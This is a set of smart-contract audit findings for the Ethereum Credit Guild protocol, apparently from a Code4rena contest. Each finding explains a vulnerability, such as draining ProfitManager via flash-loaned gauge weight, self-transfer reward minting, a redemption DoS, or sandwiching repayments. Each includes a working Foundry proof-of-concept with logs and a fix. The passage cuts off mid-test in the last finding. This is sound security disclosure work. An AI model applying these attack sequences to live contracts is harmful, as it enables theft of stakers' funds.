Ethereum Credit Guild - evmboi32's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L416-L418 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L424-L426 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20Gauges.sol#L219-L226

Vulnerability details

Impact

Anyone can steal all the balance of credit tokens from the profitManager. They can steal all the stake and all the unclaimed rewards atomically with 0 risk if the guild tokens become transferrable. This causes a total loss of funds for all stakers.

Proof of Concept

There is an option for the guild tokens to become transferrable if the governance decides so. Since it is an option I think it is most likely to happen in the future.

function enableTransfer() external onlyCoreRole(CoreRoles.GOVERNOR) {
    transferable = true;
    emit TransfersEnabled(block.number, block.timestamp);
}

Since guild tokens are now transferrable it is possible to get a large amount of tokens for a single tx. (eg. flashloan, flash swap etc.).

Let's look at the following scenario

• There are 100 credit tokens staked at the SurplusGuildMinter. The funds are donated to the termSurplusBuffer and transferred to the associated profitManager.

SurplusGuildMinter.sol

function stake(address term, uint256 amount) external whenNotPaused {
    ...
    // pull CREDIT from user & transfer it to surplus buffer
    CreditToken(credit).transferFrom(msg.sender, address(this), amount);
    CreditToken(credit).approve(address(profitManager), amount);
    ProfitManager(profitManager).donateToTermSurplusBuffer(term, amount);
    ...
}

ProfitManager.sol

function donateToTermSurplusBuffer(address term, uint256 amount) external {
    CreditToken(credit).transferFrom(msg.sender, address(this), amount);
    uint256 newSurplusBuffer = termSurplusBuffer[term] + amount;
    termSurplusBuffer[term] = newSurplusBuffer;
    emit TermSurplusBufferUpdate(block.timestamp, term, newSurplusBuffer);
}

• If someone repays the loan, interest will be sent to the profitManager. This would increase the balance of profitManager even further.
• An attacker could now see that profitManager holds X amount of credit tokens and decide to steal it all without bearing any risk.
• Alice is the attacker and she starts by flashloaning guild tokens.
• She will then increase her weight in a gauge using guild.incrementGauge(gauge, guildAmount) instead of staking through the SGM. Why?
• If she staked through SGM the weight will increment for SGM and not for alice as the SGM is the caller of the incrementGauge function.
• By calling the function directly on the gauge she can increase the weight in the given gauge and keep the userGaugeProfitIndex for alice at the given term at 0. OOOOPS
• The incrementGauge will make a call to ProfitManager(profitManager).claimGaugeRewards(user, gauge) which is supposed to update the userGaugeProfitIndex.

function _incrementGaugeWeight(
    address user,
    address gauge,
    uint256 weight
) internal override {
    uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
    uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user];

    if (getUserGaugeWeight[user][gauge] == 0) {
        lastGaugeLossApplied[gauge][user] = block.timestamp;
    } else {
        require(
            _lastGaugeLossApplied >= _lastGaugeLoss,
            "GuildToken: pending loss"
        );
    }

    ProfitManager(profitManager).claimGaugeRewards(user, gauge);

    super._incrementGaugeWeight(user, gauge, weight);
}

• But it will not do so if the weight of a user is currently 0, which it is for alice so this step is skipped and the userGaugeProfitIndex remains at 0. If she were to stake through the SGM this would be updated correctly as the weight the PSM has in the current gauge is not 0 if there are any rewards.

function claimGaugeRewards(
    address user,
    address gauge
) public returns (uint256 creditEarned) {
    uint256 _userGaugeWeight = uint256(
        GuildToken(guild).getUserGaugeWeight(user, gauge)
    );
    if (_userGaugeWeight == 0) {
        return 0;
    }
   ...
}

• Now following the equation to calculate the amount of credit tokens earned with respect to the change of the profit indexes from the user and the latest index multiplied by the userWeight we can derive an equation that Alice needs to use to steal all the credit tokens.

creditEarned = userGaugeWeight * deltaIndex
deltaIndex = gaugeProfitIndex - userGaugeProfitIndex
=> userGaugeWeight = creditEarned / deltaIndex

• She needs to obtain userGaugeWeight weight in the gauge to steal the creditEarned amount of credit tokens. Her userGaugeProfitIndex is set to 0 but will be set to 1e18 in the code.

if (_userGaugeProfitIndex == 0) {
    _userGaugeProfitIndex = 1e18;
}

• She makes a call to guild.incrementGauge(term, userGaugeWeight);
• And then profitManager.claimGaugeRewards(alice, term);
• She will drain all of the balance from profitManager. (-1 wei due to potential rounding errors). See the coded POC below

Coded POC

Add this test to SurplusGuildMinter.t.sol file and add import import "@forge-std/console.sol";

Run with forge test --match-path ./test/unit/loan/SurplusGuildMinter.t.sol -vvv

function testStealFromProfitManager() public {
    address alice = address(0x616c696365);
    address bob = address(0xB0B);

    // Governance enables the transfer of guild tokens. This will most likely result in a creation
    // of liquidity pools on dexes such as uniswap etc.
    vm.prank(governor);
    guild.enableTransfer();

    // Governor sets the profit sharing config
    vm.prank(governor);
    profitManager.setProfitSharingConfig(
        0.5e18, // surplusBufferSplit - remains on profitManager
        0, // creditSplit
        0.5e18, // guildSplit - remains on profitManager
        0, // otherSplit
        address(0) // otherRecipient
    );

    // Bob stakes 100 CREDIT tokens
    credit.mint(address(bob), 100e18);
    vm.startPrank(bob);
    credit.approve(address(sgm), 100e18);
    sgm.stake(term, 100e18);
    vm.stopPrank();

    // This would happen on repaying a loan with interest... just shorthand to notify the profitManager for profits
    // so we don't to complicate the example with opening and closing loans ...
    credit.mint(address(profitManager), 35e18);
    profitManager.notifyPnL(term, 35e18);

    uint256 alice_balance_before = credit.balanceOf(alice);
    uint256 profit_manager_balance_before = credit.balanceOf(address(profitManager));
    
    // ------------- MALICIOUS ATOMIC TRANSACTION -------------
    // If a user can obtain a lot of guild tokens he could perform the following attack
    // atomically without any risk 

    // Flashloan guild tokens as they are now transferrable. User can borrow funds from the uniswap pool in a flash swap
    // As guild is the same for the whole protocol obtaining guild shouldn't be too hard
    uint256 flashloanAmount = 100000e18;
    guild.mint(address(alice), flashloanAmount);

    vm.startPrank(alice);
    uint256 gaugeProfitIndex = profitManager.gaugeProfitIndex(address(term));

    // Since userGaugeProfitIndex is 0 it will be set to 1e18 inside ProfitManager::claimGaugeRewards
    // creditEarned = userGaugeWeight * deltaIndex
    // deltaIndex = gaugeProfitIndex - userGaugeProfitIndex
    // => userGaugeWeight = creditEarned / deltaIndex
    uint256 deltaIndex = gaugeProfitIndex - 1e18;
    uint256 guild_to_provide = (profit_manager_balance_before * 1e18) / deltaIndex;

    // Bypass the SGM and incrementGauge directly
    guild.incrementGauge(address(term), guild_to_provide);

    // userGaugeProfitIndex still at 0 as it does not update for the first time and is not called through the SGM
    uint256 userGaugeProfitIndex = profitManager.userGaugeProfitIndex(address(alice), address(term)); 
    assertEq(userGaugeProfitIndex, 0);

    // User now has weight in the gauge and can claim rewards but his userGaugeProfitIndex is still 0
    profitManager.claimGaugeRewards(address(alice), address(term));
    guild.decrementGauge(address(term), guild_to_provide);

    // Repay the flashloan - if there is any fee to repay it can be obtained from the profits made
    guild.burn(flashloanAmount);
    vm.stopPrank();
    // ------------- END MALICIOUS ATOMIC TRANSACTION -------------

    uint256 alice_balance_after = credit.balanceOf(alice);
    uint256 profit_manager_balance_after = credit.balanceOf(address(profitManager));

    console.log("Credit balance of profitManager before attack:", profit_manager_balance_before);
    console.log("Credit balance of profitManager after attack :", profit_manager_balance_after);
    console.log();
    console.log("Alice credit balance before attack           :", alice_balance_before);
    console.log("Alice credit balance after attack            :", alice_balance_after);
    console.log("--------------------------------------------------------------------");
    console.log("Alice profit                                 :", alice_balance_after - alice_balance_before);
}

[PASS] testStealFromProfitManager() (gas: 716352)
Logs:
  Credit balance of profitManager before attack: 135000000000000000000
  Credit balance of profitManager after attack : 1
  
  Alice credit balance before attack           : 0
  Alice credit balance after attack            : 134999999999999999999
  --------------------------------------------------------------------
  Alice profit                                 : 134999999999999999999

Tools Used

Manual review

Recommended Mitigation Steps

Claim the rewards and update the indexes even if the userGaugeWeight in a giver term is 0.

function claimGaugeRewards(
    address user,
    address gauge
) public returns (uint256 creditEarned) {
    uint256 _userGaugeWeight = uint256(
        GuildToken(guild).getUserGaugeWeight(user, gauge)
    );
-   if (_userGaugeWeight == 0) {
-       return 0;
-   }
    uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
    uint256 _userGaugeProfitIndex = userGaugeProfitIndex[user][gauge];

    if (_gaugeProfitIndex == 0) {
        _gaugeProfitIndex = 1e18;
    }
    if (_userGaugeProfitIndex == 0) {
        _userGaugeProfitIndex = 1e18;
    }

    uint256 deltaIndex = _gaugeProfitIndex - _userGaugeProfitIndex;
    if (deltaIndex != 0) {
        creditEarned = (_userGaugeWeight * deltaIndex) / 1e18;
        userGaugeProfitIndex[user][gauge] = _gaugeProfitIndex;
    }
    if (creditEarned != 0) {
        emit ClaimRewards(block.timestamp, user, gauge, creditEarned);
        CreditToken(credit).transfer(user, creditEarned);
    }
}

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L553-L642 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L607

Vulnerability details

Impact

Anyone can steal all distributed rewards due to a caching error when transferring credit tokens to themselves while in rebase.

Proof of Concept

Transferring credit while in rebase works fine when transferring to other users. But when a user tries to transfer to himself he can steal all unminted distributed rewards until that point.

• Let's imagine that some credit tokens were distributed but not yet minted
• Alice enters rebase and calls transfer(alice, x)

RebasingState memory rebasingStateFrom = rebasingState[msg.sender];
RebasingState memory rebasingStateTo = rebasingState[to];

• Both states for msg.sender and to are stored in memory. Keep in mind that msg.sender == to == alice
• In the first if the rewards for Alice are minted which is 0 since she just entered rebase

if (rebasingStateFrom.isRebasing == 1) {
    uint256 shares = uint256(rebasingStateFrom.nShares);
    uint256 rebasedBalance = _shares2balance(
        shares,
        _rebasingSharePrice,
        0,
        fromBalanceBefore
    );

    uint256 mintAmount = rebasedBalance - fromBalanceBefore;
    if (mintAmount != 0) {
        ERC20._mint(msg.sender, mintAmount);
        fromBalanceBefore += mintAmount;
        decreaseUnmintedRebaseRewards(mintAmount);
        emit RebaseReward(msg.sender, block.timestamp, mintAmount);
    }
}

• In the second if we decrease the shares that alice sent out. But the change is applied to a storage variable of rebasingState for msg.sender. This means that the cached rebasingStateFrom == rebasingStateTo still holds the old value of shares as the nShares.

if (rebasingStateFrom.isRebasing == 1) {
    uint256 fromBalanceAfter = fromBalanceBefore - amount;
    uint256 fromSharesAfter = _balance2shares(
        fromBalanceAfter,
        _rebasingSharePrice
    );

    uint256 sharesSpent = rebasingStateFrom.nShares - fromSharesAfter;
    sharesDelta -= int256(sharesSpent);
    rebasingState[msg.sender] = RebasingState({
        isRebasing: 1,
        nShares: uint248(fromSharesAfter)
    });
}

• This will cause that the toBalanceAfter in the final if to be calculated incorrectly because it calculates using the old shares as we use the cached value of shares from the beginning of the function. This will keep the balance the same + the amount added on top.

uint256 toBalanceAfter = _shares2balance(
    rebasingStateTo.nShares,
    _rebasingSharePrice,
    amount,
    rawToBalanceAfter
);

• Then extra tokens are minted which should not be

uint256 mintAmount = toBalanceAfter - rawToBalanceAfter;
if (mintAmount != 0) {
    ERC20._mint(to, mintAmount);
    decreaseUnmintedRebaseRewards(mintAmount);
    emit RebaseReward(to, block.timestamp, mintAmount);
}

• Alice can now exitRebase and keep the tokens for herself

Let's also look at a practical example with numbers

• Alice has 100 credit tokens worth X shares
• There are still some unminted rewards (unmintedRebaseRewards() >= 100e18)
• She calls transfer(alice, 100e18)
• The first if does nothing and the tokens are transferred. At this point, both token balance and share balance for Alice remain the same as before transfer.
• The second if adjusts the shares that alice spent but the value is stored in the storage variable. So she spent X shares since she transferred the whole balance the current state is as follows

// storage
rebasingState[alice] = RebasingState({
    isRebasing: 1,
    nShares: 0
});

• But the rebasingStateTo variable still holds the old number of shares as it was not updated (keep in mind that msg.sender == to == alice).
• toBalanceAfter is calculated as 200 tokens now. Since the rebasingStateTo.nShares is X and on top of that we add the amount and results into 200 tokens. The share price remains the same. The rawToBalanceAfter didn't change during the transfer and still remains at a 100 tokens.

uint256 rawToBalanceAfter = ERC20.balanceOf(to);
uint256 toBalanceAfter = _shares2balance(
    rebasingStateTo.nShares,
    _rebasingSharePrice,
    amount,
    rawToBalanceAfter
);

• Finally, the rewards for alice are minted. This will result in mintAmount = 100e18

uint256 mintAmount = toBalanceAfter - rawToBalanceAfter;
if (mintAmount != 0) {
    ERC20._mint(to, mintAmount);
    decreaseUnmintedRebaseRewards(mintAmount);
    emit RebaseReward(to, block.timestamp, mintAmount);
    }

• Alice now stole tokens from other rebasing users
• The max number of tokens she can steal is unmintedRebaseRewards() for any given self-transfer. So if unmintedRebaseRewards() == 10e18 she needs to call transfer(alice, 10e18) so she can steal the unclaimed rewards.
• She could monitor the mempool and frontrun each transaction that would change the unmintedRebaseRewards variable and essentially rob users of all rewards.
• Each call is done atomically so there is 0 risk for Alice.

Coded POC

Add this in the ERC20RebaseDistributor.t.sol file and add import import "@forge-std/console.sol";

Run with forge test --match-path ./test/unit/tokens/ERC20RebaseDistributor.t.sol -vvv

function testSelfTransfer() public {
    token.mint(address(this), 100e18);
    
    // Mint some tokens to bob and alice
    token.mint(alice, 10e18);
    token.mint(bobby, 10e18);

    // Bob enters the rebase since he wants to earn some profit
    vm.prank(bobby);
    token.enterRebase();        

    // Tokens are distributed among all rebase users
    token.distribute(10e18);

    // Nobody claims the rebase rewards for 10 days - just for an example
    // Alice could frontrun every call that changes the unmintedRebaseRewards atomically
    // and claim all the rewards for herself
    vm.warp(block.timestamp + 10 days);

    // --------------------- ATOMIC TX ---------------------
    vm.startPrank(alice);
    token.enterRebase();        

    uint256 token_balance_alice_before = token.balanceOf(alice);

    // Here the max she could transfer and steal is the unmintedRebaseRewards() amount
    // but we are using 3e18 just for an example as 3e18 < unmintedRebaseRewards()
    // since there is no public getter for unmintedRebaseRewards
    token.transfer(alice, 3e18);
    token.exitRebase();
    vm.stopPrank();

    uint256 token_balance_alice = token.balanceOf(alice);
    // --------------------- END ATOMIC TX ---------------------

    console.log("Token balance alice before : ", token_balance_alice_before);
    console.log("Token balance alice after  : ", token_balance_alice);
    console.log("--------------------------------------------------");
    console.log("Alice profit credit        : ", token_balance_alice - token_balance_alice_before);
}

[PASS] testSelfTransfer() (gas: 230035)
Logs:
  Token balance alice before :  10000000000000000000
  Token balance alice after  :  12999999999999999999
  --------------------------------------------------
  Alice profit credit        :  2999999999999999999

Tools Used

Manual review

Recommended Mitigation Steps

Prevent self-transfer as it makes no sense and also causes harm.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L153-L170 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L175-L199 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOnboarding.sol#L239-L261

Vulnerability details

Impact

PSM redemptions for the market can get completely bricked if the term is onboarded and offboarded twice without calling the cleanup, until the governance resumes the redemptions on the PSM. This will make the credit tokens unredeemable until the governance calls the setRedemptionsPaused(false) on the PSM. Also, every offboarding of a term will now require additional attention from governance to unpause the redemptions every time the term is offboarded.

Proof of Concept

• A given term can be onboarded as part of governance.
• Due to a loss or certain market conditions the term can be offboarded and re-onboarded later.
• When the governance offboards a term the nOffboardingsInProgress is increased. The first offboard call in the market will also pause the redemptions for the whole market as seen in the function below.

function offboard(address term) external whenNotPaused {
    require(canOffboard[term], "LendingTermOffboarding: quorum not met");

    // update protocol config
    // this will revert if the term has already been offboarded
    // through another mean.
    GuildToken(guildToken).removeGauge(term);
    // pause psm redemptions
    if (
        nOffboardingsInProgress++ == 0 &&
        !SimplePSM(psm).redemptionsPaused()
    ) {
        SimplePSM(psm).setRedemptionsPaused(true);
    }

    emit Offboard(block.timestamp, term);
}

• After all loans in the term are called and issuance reduced to 0 the cleanup can be called

function cleanup(address term) external whenNotPaused {
    require(canOffboard[term], "LendingTermOffboarding: quorum not met");

    require(
        LendingTerm(term).issuance() == 0,
        "LendingTermOffboarding: not all loans closed"
    );
    require(
        GuildToken(guildToken).isDeprecatedGauge(term),
        "LendingTermOffboarding: re-onboarded"
    );

    // update protocol config
    core().revokeRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, term);
    core().revokeRole(CoreRoles.GAUGE_PNL_NOTIFIER, term);

    // unpause psm redemptions
    if (
        --nOffboardingsInProgress == 0 && SimplePSM(psm).redemptionsPaused()
    ) {
        SimplePSM(psm).setRedemptionsPaused(false);
    }

    canOffboard[term] = false;
    emit Cleanup(block.timestamp, term);
}

• This will reduce the nOffboardingsInProgress, set canOffboard[term] = false and resume redemptions if nOffboardingsInProgress is reduced to 0.

Example

• Now let's look at the following scenario
• Governance onboards term A
• After some time they decide to offboard it and call offboard(term A)
• This sets nOffboardingsInProgress = 1 and canOffboard[term] = true
• The cleanup is not called and the term is re-onboarded again.
• This will pass. Adding a role to an account that already has the roles that want to be assigned is not a problem as it only returns false.
• Now since canOffboard[term] = true anyone can immediately call the offboard(term A) followed by cleanup(term A) and brick the whole PSM until governance intervenes. Why? Let's take a look
• As we offboarded the term twice without cleaning up the nOffboardingsInProgress = 2.
• So when cleanup is called the nOffboardingsInProgress is reduced to 1 and canOffboard[term] set to false
• Since canOffboard[term] = false the cleanup cannot be called again and the nOffboardingsInProgress cannot be reduced from 1 to 0 and can never unpause the redemptions on the PSM unless the governance calls the setRedemptionsPaused(false) on the PSM.
• This creates a DOS for some time as governance actions are under timelock and the credit cannot be redeemed until the redemptions are resumed.
• I think this is a possible scenario that the cleanup forgets to be called as it is not enforced to be. Everybody makes mistakes and in time i think it is bound to happen if the protocol is widely used.

Coded POC

Add this test to LendingTermOffboarding.t.sol file

Run with forge test --match-path ./test/unit/governance/LendingTermOffboarding.t.sol -vvv

function testReonboardWithoutCleanup() public {
    // Close a loan that was opened as a part of a setUp call
    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);    

    uint256 debt = term.getLoanDebt(aliceLoanId);

    vm.prank(address(rlcm));
    credit.mint(address(alice), debt);    
    
    vm.startPrank(alice);
    credit.approve(address(term), debt);
    term.repay(aliceLoanId);
    vm.stopPrank();

    guild.mint(bob, _QUORUM);

    // ------------ OFFBOARD ------------
    vm.startPrank(bob);

    guild.delegate(bob);
    uint256 snapshotBlock = block.number;
    offboarder.proposeOffboard(address(term));

    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);

    offboarder.supportOffboard(snapshotBlock, address(term));
    offboarder.offboard(address(term));
    vm.stopPrank();

    uint256 nOffboardings = offboarder.nOffboardingsInProgress();
    assertEq(nOffboardings, 1);
    assertEq(psm.redemptionsPaused(), true);
    
    // Forget to call cleanup
    // Didn't open any loans so we don't need to close 

    // ------------ RE-ONBOARD ------------
    guild.addGauge(1, address(term));

    // Using the offboarder as it has governor privileges
    vm.startPrank(address(offboarder));

    // Roles should be removed while calling cleanup but
    // re-granting roles doens't revert but return false 
    core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term));
    core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term));
    
    vm.stopPrank();

    assertEq(psm.redemptionsPaused(), true);

    uint256 POLL_DURATION_BLOCKS = offboarder.POLL_DURATION_BLOCKS();
    vm.roll(block.number + POLL_DURATION_BLOCKS + 1);

    // ------------ OFFBOARD ------------
    guild.mint(bob, _QUORUM);
    vm.startPrank(bob);

    guild.delegate(bob);
    snapshotBlock = block.number;
    offboarder.proposeOffboard(address(term));

    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);

    offboarder.supportOffboard(snapshotBlock, address(term));
    offboarder.offboard(address(term));
    vm.stopPrank();

    nOffboardings = offboarder.nOffboardingsInProgress();
    assertEq(nOffboardings, 2);
    assertEq(psm.redemptionsPaused(), true);
    assertEq(offboarder.canOffboard(address(term)), true);

    offboarder.cleanup(address(term));
    assertEq(offboarder.canOffboard(address(term)), false);

    nOffboardings = offboarder.nOffboardingsInProgress();
    assertEq(nOffboardings, 1);
    assertEq(psm.redemptionsPaused(), true);

    // Using the offboarder as it has governor privileges
    vm.startPrank(address(offboarder));
    psm.setRedemptionsPaused(false);
    // nOffboardings still stuck at 1
    assertEq(nOffboardings, 1);
    assertEq(psm.redemptionsPaused(), false);
}

Tools Used

Manual review

Recommended Mitigation Steps

Ensure that the cleanup has to be called before the term re-onboarding

function proposeOnboard(
    address term
) external whenNotPaused returns (uint256 proposalId) {
    ...
    bool isGauge = GuildToken(guildToken).isGauge(term);
    require(!isGauge, "LendingTermOnboarding: active term");

+   require(!core().hasRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, term), "Term not offboarded properly");
    
    // Generate calldata for the proposal
    (
        address[] memory targets,
        uint256[] memory values,
        bytes[] memory calldatas,
        string memory description
    ) = getOnboardProposeArgs(term);

    // propose
    return Governor.propose(targets, values, calldatas, description);
}

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L142 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L396-L400 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L247-L269

Vulnerability details

Impact

A malicious actor could steal some part of the interest with a sandwich attack when a borrower repays a loan. The attacker carries no risk of slashing but enjoys free rewards. Using a flashbots service to carry out the sandwich bundles he can guarantee profit with 0 risk. The more funds the attacker possesses the more the rewards can be stolen.

Proof of Concept

There is no limitation for a user to not stake and unstake in the same block. Because it is possible to stake and unstake in the same block the malicious actor could sandwich the repay call from anyone as follows.

stake => repay => unstake

When a user stakes the getRewards for that user is called and the ProfitManager(profitManager).claimRewards(address(this)) is invoked for the SGM.

function stake(address term, uint256 amount) external whenNotPaused {
    // apply pending rewards
    (uint256 lastGaugeLoss, UserStake memory userStake, ) = getRewards(
        msg.sender,
        term
    );
    ...
}

This will update the userStake.profitIndex to the latest profitIndex

function getRewards(
    address user,
    address term
)
    public
    returns (
        uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
        UserStake memory userStake, // stake state after execution of getRewards()
        bool slashed // true if the user has been slashed
    )
{
    ...
    // compute CREDIT rewards
    ProfitManager(profitManager).claimRewards(address(this)); // this will update profit indexes
    uint256 _profitIndex = ProfitManager(profitManager).userGaugeProfitIndex(address(this), term);
    uint256 _userProfitIndex = uint256(userStake.profitIndex);

    if (_profitIndex == 0) _profitIndex = 1e18;
    if (_userProfitIndex == 0) _userProfitIndex = 1e18;

    uint256 deltaIndex = _profitIndex - _userProfitIndex;

    if (deltaIndex != 0) {
        ...
        // save the updated profitIndex
        userStake.profitIndex = SafeCastLib.safeCastTo160(_profitIndex);
        updateState = true;
    }
    ...
}

• After the user stakes the repay call is executed. The repay call invokes notifyPnL(gauge, amount) with interest that is repaid as the amount variable. This updates the gaugeProfitIndex to a greater profitIndex.

function notifyPnL(
    address gauge,
    int256 amount
) external onlyCoreRole(CoreRoles.GAUGE_PNL_NOTIFIER) {
    ...
    // handling loss
    if (amount < 0) {
        ...
    }
    // handling profit
    else if (amount > 0) {
        ProfitSharingConfig
            memory _profitSharingConfig = profitSharingConfig;
        ...
        uint256 amountForGuild = (uint256(amount) *
            uint256(_profitSharingConfig.guildSplit)) / 1e9;
        ...
        // distribute to the guild
        if (amountForGuild != 0) {
            uint256 _gaugeWeight = uint256(
                GuildToken(guild).getGaugeWeight(gauge)
            );
            if (_gaugeWeight != 0) {
                uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
                if (_gaugeProfitIndex == 0) {
                    _gaugeProfitIndex = 1e18;
                }
                gaugeProfitIndex[gauge] =  // <- HERE
                    _gaugeProfitIndex +
                    (amountForGuild * 1e18) /
                    _gaugeWeight;
            }
        }
    }

    emit GaugePnL(gauge, block.timestamp, amount);
}

• Now as a third call the unstake is executed

function unstake(address term, uint256 amount) external {
    // apply pending rewards
    (, UserStake memory userStake, bool slashed) = getRewards(
        msg.sender,
        term
    );

    ...
}

• Here the rewards are calculated for the user unstaking and minted out. Calculations are made based on the profitIndexes. Since the global index was increased after the user staked it is now greater than the userProfitIndex which results in the deltaIndex > 0. User get rewards minted having only staked before the repayment.

uint256 deltaIndex = _profitIndex - _userProfitIndex;
if (deltaIndex != 0) {
    uint256 creditReward = (uint256(userStake.guild) * deltaIndex) /
        1e18;
    uint256 guildReward = (creditReward * rewardRatio) / 1e18;

    if (slashed) {
        guildReward = 0;
    }

    // forward rewards to user
    if (guildReward != 0) {
        RateLimitedMinter(rlgm).mint(user, guildReward);
        emit GuildReward(block.timestamp, user, guildReward);
    }
    if (creditReward != 0) {
        CreditToken(credit).transfer(user, creditReward);
    }

    // save the updated profitIndex
    userStake.profitIndex = SafeCastLib.safeCastTo160(_profitIndex);
    updateState = true;
}

Coded POC

Add this test to SurplusGuildMinter.t.sol file and add import import "@forge-std/console.sol";

Run with forge test --match-path ./test/unit/loan/SurplusGuildMinter.t.sol -vvv

function testStealRewards() public {
    address bob = address(0xB0B);
    address alice = address(0x616c696365);

    vm.prank(governor);
    profitManager.setProfitSharingConfig(
        0e18, // surplusBufferSplit - remains on profitManager
        0, // creditSplit
        1e18, // guildSplit - remains on profitManager
        0, // otherSplit
        address(0) // otherRecipient
    );

    // Bob represents a cumulative stake from multiple users
    // So 10000e18 is not his stake but a stake from all users currently staking
    credit.mint(address(bob), 10000e18);
    vm.startPrank(bob);
    credit.approve(address(sgm), 10000e18);
    sgm.stake(term, 10000e18);
    vm.stopPrank();

    // Someone repays a loan and the interest is transferred to the profitManager
    credit.mint(address(profitManager), 2e18);
    profitManager.notifyPnL(term, int256(2e18));

    // Users claim their rewards - an unnecessary step
    // sgm.getRewards(bob, address(term));

    // This is the credit token balance of Alice
    // The more balance she has the more she can steal
    uint256 alice_credit_balance = 21e18;
    credit.mint(alice, alice_credit_balance);
    uint256 credit_balance_alice_before = credit.balanceOf(alice);

    // ---------------- MALICIOUS SANDWICH ATTACK ----------------
    vm.startPrank(alice);
    credit.approve(address(sgm), alice_credit_balance);
    sgm.stake(term, alice_credit_balance);
    vm.stopPrank();

    // repay call
    credit.mint(address(profitManager), 35e18);
    profitManager.notifyPnL(term, int256(35e18));

    vm.prank(alice);
    sgm.unstake(term, alice_credit_balance);
    // ---------------- END MALICIOUS SANDWICH ATTACK ----------------

    // Users claim their rewards - an unnecessary step
    // sgm.getRewards(bob, address(term));

    uint256 credit_balance_alice = credit.balanceOf(alice);

    console.log("Alice credit balance before attack:", credit_balance_alice_before);
    console.log("Alice credit balance after attack :", credit_balance_alice);
    console.log("--------------------------------------------------------");
    console.log("Alice profit                      :", credit_balance_alice - alice_credit_balance);
}

[PASS] testStealRewards() (gas: 770641)
Logs:
  Alice credit balance before attack: 21000000000000000000
  Alice credit balance after attack : 21073163448138562572
  --------------------------------------------------------
  Alice profit                      : 73163448138562572

Tools Used

Manual review

Recommended Mitigation Steps

Prevent users staking and unstaking in the same block to receive rewards even if there is profit from the repayment, as normal users wouldn't do that. Or add a minimum stake time.

function getRewards(
    address user,
    address term
)
    public
    returns (
        uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
        UserStake memory userStake, // stake state after execution of getRewards()
        bool slashed // true if the user has been slashed
    )
{
    ...

    // if the user is not staking, do nothing
    userStake = _stakes[user][term];
-   if (userStake.stakeTime == 0)
+   if (userStake.stakeTime == 0 || userStake.stakeTime == block.timestamp)
        return (lastGaugeLoss, userStake, slashed);

  ...
}

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L364

Vulnerability details

Impact

Anyone who holds a few wei of credit token can prolong the time for the rewards to get distributed for the rebasing users with minimal effort.

Proof of Concept

A malicious attacker only needs a few wei of tokens to execute the attack.

• Let's imagine that the distribute(40e18) call to distribute 40 credit tokens has been called as a part of the successfully repaid loan. This is normal behavior.
• During a distribute call the endTimestamp is calculated as follows

    uint256 endTimestamp = block.timestamp + DISTRIBUTION_PERIOD;

• So this means that the 40 tokens should be distributed over the next 30 days.
• But each time that the distribute call is invoked the endTimestamp is prolonged.
• An attacker could call distribute(1) to distribute 1 wei of a credit token once per day to prolong the distribution for around 3x ish.

Coded POC

Add this test to the ERC20RebaseDistributor.t.sol file and add import import "@forge-std/console.sol";

Run with forge test --match-path ./test/unit/tokens/ERC20RebaseDistributor.t.sol -vvv

function testProlongDistribution() public {
    token.mint(alice, 10e18);
    token.mint(bobby, 20e18);

    vm.prank(alice);
    token.enterRebase();

    vm.prank(bobby);
    token.enterRebase();

    token.mint(address(this), 41e18);

    // Distribute 40 tokens
    uint256 amountToDistribute = 40e18;
    token.distribute(amountToDistribute);
    
    // Attackers calls distribute(1) each day to only distribute 1 wei of a token
    for(uint256 i = 0; i < 30; i++) {
        vm.warp(block.timestamp + 1 days);
        token.distribute(1);
    }

    uint256 distributedSupply = amountToDistribute - token.pendingDistributedSupply();
    console.log("Distributed supply after 30 days:");
    console.log("----------------------------------------------------");
    console.log("Distributed supply         : ", distributedSupply);
    console.log("Expected distributes supply: ", amountToDistribute);

    for(uint256 i = 0; i < 60; i++) {
        vm.warp(block.timestamp + 1 days);
        token.distribute(1);
    }

    console.log();
    distributedSupply = amountToDistribute - token.pendingDistributedSupply();
    console.log("Distributed supply after 90 days:");
    console.log("----------------------------------------------------");
